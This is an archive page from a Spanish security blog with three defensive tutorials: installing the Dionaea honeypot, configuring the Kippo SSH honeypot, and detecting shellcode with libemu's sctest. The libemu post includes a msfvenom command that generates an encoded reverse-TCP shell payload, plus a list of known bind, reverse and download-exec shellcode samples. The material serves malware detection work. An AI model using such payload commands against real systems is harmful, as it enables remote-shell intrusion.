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Mes: marzo 2015

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HoneyPots Parte 2 – Introducción a Dionaea

Dionaea es un honeypot realmente interesante, ya que su principal objetivo es la captura y análisis de muestras de malware. Es capaz de levantar varios tipos de servicios y esperar a que los atacantes intenten hacerse con el control de dicho servicio por medio de peticiones maliciosas y el envío de payloads. Dionaea utiliza la librería libemu para la detección de shellcodes y tal como se ha mencionado en un articulo anterior sobre dicha librería, se utilizan heurísticas GetPC/GetEIP para determinar si un payload determinado es malicioso y en algunos casos, ejecutarlo en un entorno controlado de ser necesario.

Una instancia de Dionaea puede levar varios tipos de servicios, entre los que destacan HTTP, FTP, TFTP, SMB, entre otros. Cada uno de estos servicios se encuentra especialmente preparado para captar la atención de un atacante y que intenté enviar una muestra de malware, ya que al final de cuentas, es el objetivo de este honeypot.

El funcionamiento general de Dionaea se resume de una forma muy bien explicada en el sitio web oficial del proyecto (http://dionaea.carnivore.it/) sin embargo, también intentaré explicarlo de la mejor forma que pueda en los siguientes párrafos.

Antes que nada, este honeypot sigue un “workflow” bastante simple en el que se definen cada una de las fases de captura, detección, análisis y posterior categorización de muestras de malware, dichas fases se resumen brevemente a continuación:

Conectividad y protocolos soportados por Dionaea

Una de las principales características de este honeypot, es que soporta rutinas no bloqueantes, lo que mejora considerablemente el desempeño general del sistema y permite ejecutar múltiples operaciones de escritura y lectura sobre uno o varios sockets sin necesidad de esperar una respuesta por parte del receptor. Estas características en Dionaea son implementadas utilizando Python y tal como os comentaba en algún post anterior, para crear “corutinas” se puede utilizar el módulo asyncio que ya viene incluido en a partir versión 3.x de Python, así como también otros módulos como Twisted o Tornado que sirven básicamente para lo mismo. Dionaea en este caso utiliza el módulo asyncio y además, también utiliza las librerías libudns y libev para peticiones DNS no bloqueantes y recibir notificaciones sobre diferentes tipos de eventos en el entorno de red respectivamente.

Por otro lado, tal como se puede apreciar también en la documentación, los protocolos soportados por Dionaea son implementaciones propias del honeypot y en algunos casos, como por ejemplo para el servicio SMB, se implementan completamente en Python.

 

Intentos de explotación y detección del malware

Cuando un atacante comienza a comprobar que el supuesto servicio puede ser vulnerable, lo más probable es que comience a atacarlo por medio de peticiones maliciosas y el envío de payloads que puedan “reventar” el proceso remoto. En este caso, el proceso de perfilado es realizado por Libemu registrando todas las invocaciones a las funciones del sistema con sus correspondientes argumentos, es decir, haciendo un “hooking” de cada una de las funciones definidas en el programa. No obstante, existen muchos shellcodes que son “multi-stage”, los cuales ejecutan una rutina de código simple que únicamente se encarga de descargar de un sitio remoto otro(s) shelcode(s). En este caso concreto, únicamente registrando las invocaciones a las funciones del sistema no seria suficiente para perfilar el programa y por este motivo, Dionaea también permite la ejecución del shellcode con el fin de determinar cuál es el objetivo del programa. Evidentemente, para esto muy posiblemente será necesario permitir que el shellcode realice conexiones de red, por este motivo es muy recomendado ejecutar el honeypot en una máquina virtual y de ser posible, aislada del segmento de red interno.

Finalmente, cuando el shellcode ha sido perfilado tras el registro de las funciones invocadas y/o las conexiones de red que se han llevado a cabo tras la ejecución del programa malicioso, Dionaea es capaz de determinar la intención del programa y categorizarlo. Las categorías que maneja Dionaea para clasificar muestras de malware son: Consolas bind y reversas, programas que ejecutan la función WinExec, programas que utilizan la función URLDowloadToFile y payloads multi-staged.

 

Registro y sistema de incidentes

Finalmente el honeypot procede a guardar una copia del shellcode y a registrar cada una de las acciones que ha realizado el programa para posterior análisis. Por otro lado, también cuenta con un sistema de incidentes que permite ver rápidamente las conclusiones más relevantes sobre el programa analizado, sin necesidad de navegar por enormes ficheros de log en busca de dichos resultados.

Instalación de Dionaea

Cuando se le echa un vistazo al proceso de instalación explicado en la página web de Dionaea, muy probablemente lo primero que piensa más de uno es “esto no lo instala ni dios”, pero la realidad es que el proceso es bastante simple, siempre y cuando se sigan todos los pasos explicados y se cumpla con todas las dependencias exigidas. Algunas de dichas dependencias casi seguro ya se encuentran en el sistema mucho antes de comenzar con la instalación, tales como libcurl o LibEmu si has seguido el articulo anterior, pero la mayoría deben instalarse manualmente desde el código fuente de cada una de las dependencias.

Como regla general, es mejor seguir cada uno de los pasos descritos en el siguiente enlace: http://dionaea.carnivore.it/#compiling Además, tener en cuenta que el “prefijo” (opción prefix del ejecutable “configure”) debe apuntar al directorio “/opt/dionaea” por lo tanto dicho directorio debe ser accesible para el usuario con el que se realice el proceso de instalación. Una recomendación que lo permitirá instalar rápidamente, consiste en descargar y desempaquetar todas las librerías en el directorio “/opt” y ejecutar la construcción (configure), compilación (make) e instalación (make install).
Después de instalar todas las dependencias, es necesario descargar el proyecto desde el GitHub y para ello, también se puede ubicar en el directorio “/opt”, pero asignando un nombre distinto al directorio de salida, ya que “/opt/dionaea” ya existe y contiene todas las librerías y dependencias que se han ido instalando. Se puede ejecutar algo como esto:

git clone git://git.carnivore.it/dionaea.git
			dionaea-git

 

Posteriormente, desde el directorio “/opt/dionaea-git” se puede ejecutar el mismo procedimiento de instalación descrito en la página.
En mi caso concreto, no he tenido ningún problema instalando Dionaea en sistemas Debian Squeeze y Wheezy, sin embargo, en el caso de Ubuntu, en la versión 14.04 hay un problema con el enlazado de la librería “libcrypto” dando un error similar al siguiente cuando se ejecuta el comando “make”.

 

/usr/bin/ld: note: ‘X509_gmtime_adj’ is defined in DSO /lib/libcrypto.so.10 so try adding it to the linker command line

/lib/libcrypto.so.1.0.0: could not read symbols: Invalid operation

 

En tal caso es necesario realizar el enlace de dicha librería de forma manual. Para ello, es necesario dirigirse al directorio “/opt/dionaea-git/src” y ejecutar la utilidad “libtool” para enlazar a la librería “libcrypto.so”

 

../libtool –tag=CC –mode=link gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,–export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib /lib/x86_64-linux-gnu/libcrypto.so.1.0.0

 

Notar que ha sido necesario especificar la ubicación de la librería y en este caso concreto, se encuentra en “/lib/x86_64-linux-gnu/libcrypto.so.1.0.0” pero evidentemente puede cambiar un poco dependiendo del sistema y de la arquitectura utilizada.

Después de ejecutar los comandos de compilación e instalación en “dionaea-git”, se generará un ejecutable con nombre “dionaea” junto con otras utilidades en el directorio “/opt/dionaea/bin”.

Para comprobar que la instalación ha sido correcta y que se puede levantar el honeypot normalmente, se puede ejecutar la utilidad “/opt/dionaea/bin/dionaea” de la siguiente forma.

> ./dionaea -l all,-debug

 

Se podrán ver varias trazas relacionadas con el arranque de cada uno de los servicios del honeypot, pero tal como se puede ver en el listado de interruptores de la herramienta, se trata de un software que es altamente configurable y con el que se pueden crear soluciones defensivas y de alerta temprana muy interesantes.

>./dionaea -H

Dionaea Version 0.1.0

Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2

Started on Galilei running Linux/x86_64 release 3.13.0-46-generic

Dionaea Version 0.1.0

Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2

Started on Galilei running Linux/x86_64 release 3.13.0-46-generic

-c, –config=FILE use FILE as configuration file

Default value/behaviour: /opt/dionaea/etc/dionaea.conf

-D, –daemonize run as daemon

-g, –group=GROUP switch to GROUP after startup (use with -u)

Default value/behaviour: keep current group

-h, –help display help

-H, –large-help display help with default values

-l, –log-levels=WHAT which levels to log, valid values all, debug, info, message, warning, critical, error, combine using ‘,’, exclude with – prefix

-L, –log-domains=WHAT which domains use * and ? wildcards, combine using ‘,’, exclude using –

-u, –user=USER switch to USER after startup

Default value/behaviour: keep current user

-p, –pid-file=FILE write pid to file

-r, –chroot=DIR chroot to DIR after startup, warning: chrooting causes problems with logsql/sqlite

Default value/behaviour: don’t chroot

-V, –version show version

Default value/behaviour:

-w, –workingdir=DIR set the process’ working dir to DIR

Default value/behaviour: /opt/dionaea

examples:

# dionaea -l all,-debug -L ‘*’

# dionaea -l all,-debug -L ‘con*,py*’

# dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid

En este corto articulo solamente se han visto las principales características de Dionaea, pero aun no se ha visto en ejecución utilizando algunos de los interruptores soportados por la herramienta y con opciones de configuración personalizadas en el fichero “dionanea.conf”. Esto es lo realmente interesante y lo explicaré en el próximo articulo que publicaré en este blog.

Saludos y Happy Hack!
Adastra.

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HoneyPots Parte 1 – Kippo

Este será el primer articulo de una serie en la que se hablará sobre algunos de los honeypots más utilizados para la detección y prevención de ataques. Antes de continuar y para los que no lo saben, un Honeypot en informática es un servicio activo que acepta y procesa peticiones como cualquier servidor del tipo SSH, HTTP, SMB, etc. Pero en realidad se encarga de monitorizar y registrar los intentos fallidos de autenticación y cualquier ataque contra el supuesto servicio, se trata de un señuelo. Es una forma de engañar a un atacante haciéndole creer que se encuentra perfilando y analizando un servicio del objetivo, cuando en realidad lo que está haciendo es suministrándole información al objetivo sobre las actividades que está realizando.
Uno de los más conocidos y utilizados es Kippo, un honeypot que se encarga de levantar un servicio SSH en el puerto indicado y registrar todos los intentos de autenticación realizados contra dicho servicio. Kippo es un honeypot altamente personalizable y es posible utilizarlo para localizar a un atacante e incluso, para que pueda iniciar sesión en el supuesto sistema y permitirle interactuar con un sistema de ficheros ficticio, el cual también es configurable.

A continuación se explica como instalar y configurar Kippo en un sistema Linux.

Instalación y configuración de Kippo.

Kippo es un sistema que ha sido desarrollado utilizando Python y Twisted, una potente librería de la que ya he hablado en alguna ocasión. Una de las ventajas de Kippo, es que se puede lanzar de forma programática desde un script en Python gracias a las funciones definidas en el modulo “twistd” de Twisted, esto significa que puedes crear tus propios scripts en Python y arrancar Kippo en cualquier momento.

Para instalar Kippo, se debe tener Python instalado y algunas librerías en el entorno, tales como Twisted, PyCrypto y service_identity Zope. Una vez cumplidas dichas dependencias, se puede descargar el proyecto desde su repositorio en GitHub.

>git clone https://github.com/desaster/kippo.git

>ls -F

data/ doc/ honeyfs/ kippo.cfg.dist log/ start.sh* txtcmds/

dl/ fs.pickle kippo/ kippo.tac README.md stop.sh utils/

 

Lo primero que se puede apreciar en el directorio descargado, es que existen dos ficheros ejecutables que son “start.sh” y “stop.sh”, evidentemente son utilizados para iniciar y detener Kippo, pero antes de iniciar el Honeypot, se deben conocer las propiedades de configuración que permitirán personalizar el servicio y que sea más difícil para un atacante determinar que se trata de un honeypot. El script “start.sh” buscará el fichero de configuración “kippo.cfg” en el directorio desde donde se ejecuta y como se puede apreciar en el listado de contenidos del directorio, dicho fichero no existe, pero si que se puede ver el fichero “kippo.cfg.dist”, el cual se puede renombrar a “kippo.cfg”. El fichero “kippo.cfg.dist” contiene las propiedades que pueden ser útiles para iniciar el servicio con por la configuración defecto. Algunas de dichas propiedades (las más interesantes) se explican a continuación.

ssh_addr: Interfaz de red en la que iniciará el honeypot. El valor por defecto es “0.0.0.0”

ssh_port: Puerto en el que iniciará el honeypot. El valor por defecto es “2222”

hostname: Será cadena que verá un atacante cuando consiga una shell en el honeypot. Evidentemente, es una buena recomendación poner un nombre que parezca pertenecer a un servidor real en el objetivo.

download_path: Directorio en el que se guardaran todos los ficheros que intente descargar el atacante en el servidor.

filesystem_file: Probablemente es una de las propiedades más interesantes a la hora de engañar a un atacante haciéndole creer que se encuentra en un sistema legitimo, ya que esta propiedad se encarga de definir un sistema de ficheros completo, con sus correspondientes ficheros, permisos y demás. Este fichero se debe encontrar en formato de objetos serializados en Python (Pickle). Se puede utilizar el script “utils/createfd.py” para crear dicho sistema de ficheros partiendo de un sistema elegido por el usuario.

data_path: En el directorio indicado en esta propiedad se debe ubicar el fichero “usersdb.txt” en el se definirá por cada línea, el usuario y sus credenciales de acceso al supuesto honeypot. Evidentemente, se recomienda indicar una contraseña que sea fácilmente predecible para que el atacante pueda entrar y contar con más tiempo para saber de quien se trata.

txtcmds_path: En el directorio indicado en esta propiedad se deben definir los programas y utilidades que podrá ejecutar el atacante una vez se encuentre dentro del honeypot.

ssh_version_string: Será el banner que devolverá el servicio cuando se realicen peticiones sobre el puerto definido en la propiedad “ssh_port”

interact_enabled: Kippo permite controlar las sesiones que el atacante tenga iniciadas contra el honeypot en un servicio independiente de monitoreo. Por defecto dicha propiedad se encuentra desactivada, pero es muy útil para ver en tiempo real lo que está haciendo el atacante en el honeypot.

interact_port: Puerto en el que se iniciará el servicio de monitoreo. Solamente tiene sentido indicar un valor en esta propiedad si “interact_enabled” tiene el valor “true”.
Existen otras propiedades en Kippo que también pueden ser interesantes para el lector, por ese motivo se recomienda leer la documentación para hacerse una idea de cuáles son dichas propiedades.

Una buena practica para captar la mayor cantidad de atacantes, consiste en el definir el honeypot un puerto que no requiera privilegios de root para ser utilizado, como por ejemplo el “2222” y redireccionar todas peticiones entrantes por el puerto “22” al puerto donde está corriendo el honeypot. Esto puede hacerse muy fácilmente utilizando una regla de iptables como la siguiente.

iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-port 2222

Ahora bien, si se cuenta con un servicio SSH productivo, se recomienda levantarlo en un puerto distinto al “22”.

El siguiente fichero de configuración puede ser utilizado para arrancar Kippo con algunos valores de configuración personalizados.

[honeypot]

ssh_port = 2222

hostname = PROServer

log_path = log

download_path = dl

contents_path = honeyfs

filesystem_file = fs.pickle

data_path = data

txtcmds_path = txtcmds

rsa_public_key = data/ssh_host_rsa_key.pub

rsa_private_key = data/ssh_host_rsa_key

dsa_public_key = data/ssh_host_dsa_key.pub

dsa_private_key = data/ssh_host_dsa_key

exec_enabled = true

fake_addr = 172.28.78.10

ssh_version_string = SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2

interact_enabled = true

interact_port = 5000

 

El fichero anterior debe ubicarse en el directorio de Kippo con el nombre “kippo.cfg”. Ahora es el momento de lanzar el script “start.sh” para iniciar el honeypot.

>./start.sh

twistd (the Twisted daemon) 14.0.0

Copyright (c) 2001-2014 Twisted Matrix Laboratories.

See LICENSE for details.

Starting kippo in the background…

EL servicio quedará abierto en el puerto “2222” y además, es posible ver los logs que ha generado Kippo en el proceso de arranque.

>cat log/kippo.log

2015-01-25 23:57:37+0100 [-] Log opened.

2015-01-25 23:57:37+0100 [-] twistd 14.0.0 (/usr/bin/python 2.7.6) starting up.

2015-01-25 23:57:37+0100 [-] reactor class: twisted.internet.epollreactor.EPollReactor.

2015-01-25 23:57:37+0100 [-] HoneyPotSSHFactory starting on 2222

2015-01-25 23:57:37+0100 [-] Starting factory <kippo.core.ssh.HoneyPotSSHFactory instance at 0x7fa27d2b67e8>

2015-01-25 23:57:37+0100 [-] Factory starting on 5000

2015-01-25 23:57:37+0100 [-] Starting factory <twisted.internet.protocol.Factory instance at 0x7fa27c03cd40>

>nc localhost 2222

SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2

>

 

Como se puede ver, el banner devuelto por el servicio es el mismo que se ha definido en la propiedad “ssh_version_string”. Por otro lado, también se ha abierto el puerto “5000” para monitorizar el servicio. En dicho puerto se podrá acceder a una consola de administración básica que permitirá listar las sesiones activas, visualizar en tiempo real lo que el atacante está digitando en la consola del honeypot e incluso, interactuar con dicha sesión y escribir en la misma consola que el atacante está utilizando, algo que evidentemente despertaría sus sospechas.

>telnet -e q 127.0.0.1 5000

Telnet escape character is ‘q’.

Trying 127.0.0.1…

Connected to 127.0.0.1.

Escape character is ‘q’.

*** kippo session management console ***

List of commands:

list – list all active sessions

view – attach to a session in read-only mode

hijack – attach to a session in interactive mode

disconnect – disconnect a session

help – this help

exit – disconnect the console

 

En el fichero “log/kippo.log” se podrán ver las trazas de cada uno de los intentos de conexión que se han realizado contra el honeypot.

2015-01-26 00:06:42+0100 [kippo.core.ssh.HoneyPotSSHFactory] New connection: 127.0.0.1:43249 (127.0.0.1:2222) [session: 2]

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] Remote SSH version: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] outgoing: aes128-ctr hmac-md5 none

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] incoming: aes128-ctr hmac-md5 none

2015-01-26 00:06:44+0100 [HoneyPotTransport,2,127.0.0.1] NEW KEYS

2015-01-26 00:06:44+0100 [HoneyPotTransport,2,127.0.0.1] starting service ssh-userauth

2015-01-26 00:06:44+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth none

2015-01-26 00:06:44+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth keyboard-interactive

2015-01-26 00:06:51+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/123456] failed
2015-01-26 00:07:01+0100 [-] adastra failed auth password

2015-01-26 00:07:01+0100 [-] unauthorized login:

2015-01-26 00:07:03+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth password

2015-01-26 00:07:03+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/asadas] failed

2015-01-26 00:07:04+0100 [-] adastra failed auth password

2015-01-26 00:07:04+0100 [-] unauthorized login:

2015-01-26 00:07:05+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth password

2015-01-26 00:07:05+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/wwqwq] failed

Si el atacante consigue acceso, podrá ver una consola en el supuesto servicio y podrá interactuar con ella, limitado únicamente por los comandos que se han definido en la propiedad “txtcmds_path” del fichero de configuración utilizado para arrancar Kippo.

>ssh -p2222 localhost -l root

Password:

root@PROServer:~# ls

root@PROServer:~# pwd

/root

root@PROServer:~# whoami

root

root@PROServer:~# id

uid=0(root) gid=0(root) groups=0(root)

root@PROServer:~# uname -a

Linux PROServer 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux

 

Desde la consola de administración, se puede ver la nueva sesión creada en el honeypot y se puede interactuar con ella.

>telnet -e q 127.0.0.1 5000

Telnet escape character is ‘q’.

Trying 127.0.0.1…

Connected to 127.0.0.1.

Escape character is ‘q’.

*** kippo session management console ***

List of commands:

list – list all active sessions

view – attach to a session in read-only mode

hijack – attach to a session in interactive mode

disconnect – disconnect a session

help – this help

exit – disconnect the console

list

ID clientIP clientVersion

3 127.0.0.1 SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

view 3

** Attaching to #3, hit ESC to return

ls

root@PROServer:~# pwd

/root

root@PROServer:~# whoami

root

root@PROServer:~# id

uid=0(root) gid=0(root) groups=0(root)

root@PROServer:~#

** Interactive session closed.

hijack 3

** Attaching to #3, hit ESC to return

Te he pillado…

bash: Te: command not found

root@PROServer:~# whoami

root

disconnect 3

** Disconnecting session #3

exit

Connection closed by foreign host.

 

El comando “list” ha permitido visualizar las sesiones iniciadas en el honeypot y con los comandos “view” y “hijack” se puede interactuar con una de dichas sesiones, el primero solamente permite ver lo que el atacante escribe en la consola del honeypot, mientras que el segundo permite interactuar directamente con dicha sesión y enviar comandos/mensajes al atacante. Finalmente el comando “disconnect” interrumpe una sesión activa, cortando la conexión entre el atacante y el honeypot.

Más sobre Honeypots en un próximo articulo.

Saludos y Happy Hack!

Adastra.

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Explotación de Software Hacking MetaSploit Programacion

Detección de malware con libemu

Una de las principales tareas de cualquier investigador de malware consiste precisamente en obtener, analizar y comprender el funcionamiento de todas las muestras que pueda, de esta forma podrá entender mucho mejor las técnicas utilizadas por las personas que se dedican a crear este tipo de programas. Además de hacerlo por “diversión y beneficio”, la detección y posterior análisis de malware son algunas de las principales rutinas que se suelen implementar en sistemas IDS/IPS tales como Suricata y Snort o en HoneyPots tales como Dionaea. Para ello, existen varias librerías que ayudan a crear hooks para monitorizar y analizar algunas de las “API Calls” más utilizadas en programas maliciosos, una bastante conocida es PyDBG, la cual es ampliamente utilizada en proyectos tales como Pamei/Sulley Framework.

Sin embargo, no solamente existen librerías en Python para este tipo de actividades, y de hecho, otro lenguaje que se ha utilizado y se sigue utilizando con bastante frecuencia para la elaboración de analizadores de código malicioso es C/C++ y sobre dicho lenguaje, se encuentra desarrollada una de las librerías más potentes que conozco para el análisis de muestras de malware: LibEmu.

“Libemu es una librería que permite realizar un proceso básico de emulación sobre sistemas con arqutectura x86 y además, permite la detección de shellcodes utilizando heurísticas GetPC.”

Este mismo texto será el que encuentres en la página oficial de Libemu (http://libemu.carnivore.it/) pero para comprender realmente lo que significa, hace falta tener claros ciertos conceptos:
“Proceso básico de emulación”: Concretamente sobre las instrucciones disponibles en arquitecturas x86. Un proceso de emulación, a diferencia de un proceso de simulación, pretende modelar el comportamiento de un programa de la forma más precisa y exacta posible, creando para ello una plataforma completa que permita reproducir el funcionamiento del programa. Esto quiere decir que LibEmu se encarga de replicar las instrucciones básicas de un sistema, funcionando de un modo similar a una máquina virtual pero con la diferencia de que un emulador tiende a ser mucho más lento y permite emular también la CPU.

“Heurísticas GetPC”: Get Program Counter o también conocido como GetEIP en arquitecturas x86 es una técnica comúnmente utilizada en el desarrollo de shellcodes para determinar la ubicación del shellcode en el espacio de direcciones del proceso. Este tipo de rutinas son vitales para realizar procesos de decodificación y mutación, en las cuales el shellcode necesita conocer la ubicación en la que ha sido inyectado dentro del proceso vulnerable. “GetPC” no es una única técnica, sino que abarca varias técnicas que combinan instrucciones para conocer la dirección de memoria en la que se encuentra el shellcode. Algunas de dichas instrucciones son: CALL GetPC, FSTENV GetPC, SEH GetPC (sobre sistemas Windows y no soportado por LibEmu), entre otras que explicaré en un próximo articulo.

Para instalar LibEmu, se puede descargar la última versión estable desde el sitio web oficial en: http://libemu.carnivore.it/#download, desde el repositorio Git o utilizando el comando “apt-get install libemu2” en sistemas basados en Debian. En este caso, se utilizará la versión de desarrollo que se encuentra incluida en el repositorio.

>git clone git://git.carnivore.it/libemu.git>autoreconf -v -i

>./configure –prefix=/opt/libemu –enable-python-bindings –disable-werror

>make

Como se puede apreciar, a la hora de configurar el ejecutable con el comando “configure”, se ha utilizado la opción “–enable-python-bindings”, de esta forma se instalan también los “bindings” de Python para LibEmu de forma automática, es decir, se encarga de instalar la librería “pylibemu” para utilizar LibEmu desde Python, algo de lo que se hablará en un próximo articulo.

Una vez se ha terminado de instalar la librería en el sistema, contamos con algunas herramientas que son muy útiles para el análisis de malware y son las que le dan “vida” a LibEmu.

Para poder probar su funcionamiento se puede utilizar cualquier malware disponible en Internet (con precaución obviamente) o utilizando alguno de los payloads que se pueden generar con Metasploit Framework. Independiente del mecanismo utilizado, lo interesante de LibEmu son los resultados que arroja cuando se ejecutan utilidades como “sctest”.

Utilizando “msfvenom” de Metasploit Framework se creará un payload malicioso que posteriormente será utilizado para realizar las pruebas con LibEmu.

./msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.244 LPORT=4444 -e x86/shikata_ga_nai -f raw > testingPayload.bin No platform was selected, choosing Msf::Module::Platform::Linux from the payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 98 (iteration=0)

Se ha utilizado “msfvenom”, un sustituto de la utilidad “msfpayload”, la cual se encuentra deprecada y que próximamente será removida del proyecto.

El fichero generado se ha nombrado como “testingPayload” y a continuación será utilizado con LibEmu y la utilidad “sctest” para ver el contenido del fichero y determinar si se trata de un programa malicioso o no.

En primer lugar, algunas de las opciones disponibles en “sctest” se pueden listar con el interruptor “-h/–help”

./sctest –help -a PATH use this argos csi files as input

–argos-csi= PATH

-b IP:PORT bind this ip:port

–bind=IP:PORT

-c IP:PORT redirect connects to this ip:port

–connect=IP:PORT

-C CMD command to execute for «cmd» in shellcode (default: cmd=»/bin/sh -c \»cd ~/.wine/drive_c/; wine ‘c:\windows\system32\cmd_orig.exe’ \»»)

–cmd= CMD

-d INTEGER dump the shellcode (binary) to stdout

–dump=INTEGER

-g run getpc mode, try to detect a shellcode

–getpc

-G FILEPATH save a dot formatted callgraph in filepath

–graph=FILEPATH

-h show this help

–help

-i proxy api calls to the host operating system

–interactive

-l list all tests

–listtests

-o [INT|HEX] manual offset for shellcode, accepts int and hexvalues

–offset=[INT|HEX]

-p PATH write shellcode profile to this file

–profile= PATH

-S read shellcode/buffer from stdin, works with -g

–stdin

-s INTEGER max number of steps to run

–steps=INTEGER

-t INTEGER the test to run

–testnumber=INTEGER

-v be verbose, can be used multiple times, f.e. -vv

–verbose

Algunas resultan especialmente interesantes de cara a la detección de un programa malicioso, especialmente “-S”, “-t”, “-l” y “-g”.
Con la opción “-l” se pueden ver las pruebas que realizará la herramienta para detectar payloads maliciosos.

>./sctest -l
0 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com1 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com

2 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com

3 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com

4 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com

5 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com

6 ) win32_reverse – EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com

7 ) win32_downloadexec – URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com

8 ) win32_exec – EXITFUNC=seh CMD=cmd -c ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com

9 ) some old dcom shellcode

10) brihgtstor discovery

11) amberg

12) lindau – linkbot connectback version

13) bremen – linkbot bind version

14) halle – filetransferr via csend

15) tills neuer

16) win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123

17) clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123)

18) the hackers choice realplayer 8 exploit

19) win32_bind_vncinject – VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com

20) windows/vncinject/reverse_tcp – 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true

21) till sein lsass dump

22) bindshell::schoenborn

23) sqlslammer

24) linux bindshell

25) Windows bindshell 0.0.0.0:8594 – tried exploit PNP_QueryResConfList/MS05-39

26) Windows bind filetransfer 0.0.0.0:38963 – tried to exploit DsRolerUpgradeDownlevelServer/MS04-11

27) libemu dos

28) windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com

29) crash in loadlibrary

30) crash in fwrite

31) crash in lwrite/hwrite

32) crash in malloc

33) crash in send

34) crash in execve

Algunas de las pruebas que realiza la utilidad son bastante conocidas y por defecto las realiza todas, pero si se indica el interruptor “-t”, solamente se ejecutará la prueba con el identificador especificado.

A continuación se puede ejecutar “sctest” utilizando los interruptores “-g”, “-v”.

>./sctest -gS -s 150 -v < /home/adastra/Escritorio/testingPayload.bin verbose = 1

success offset = 0x00000000

int socket(int domain=2, int type=1, int protocol=0);

connect

stepcount 106

int socket (

int domain = 2;

int type = 1;

int protocol = 0;

) = 14;

int connect (

int sockfd = 14;

struct sockaddr_in * serv_addr = 0x00416fc2 =>

struct = {

short sin_family = 2;

unsigned short sin_port = 23569 (port=4444);

struct in_addr sin_addr = {

unsigned long s_addr = -201217856 (host=192.168.1.244);

};

char sin_zero = » «;

};

int addrlen = 102;

) = 0;

Como se puede apreciar, “sctest” ha detectado que el programa en cuestión tiene un payload malicioso que se encarga de conectarse al puerto “4444” del host “192.168.1.244”. Como se puede ver, aparecen cada una de las funciones que en conjunto, representan un patrón malicioso conocido.

Por otro lado, también es posible importar los resultados en una imagen con la representación gráfica de cada una de las invocaciones que se han realizado.

>./sctest -gS -s 150 -v -G /home/adastra/Escritorio/payloadGraph.dot < /home/adastra/Escritorio/payload.bin

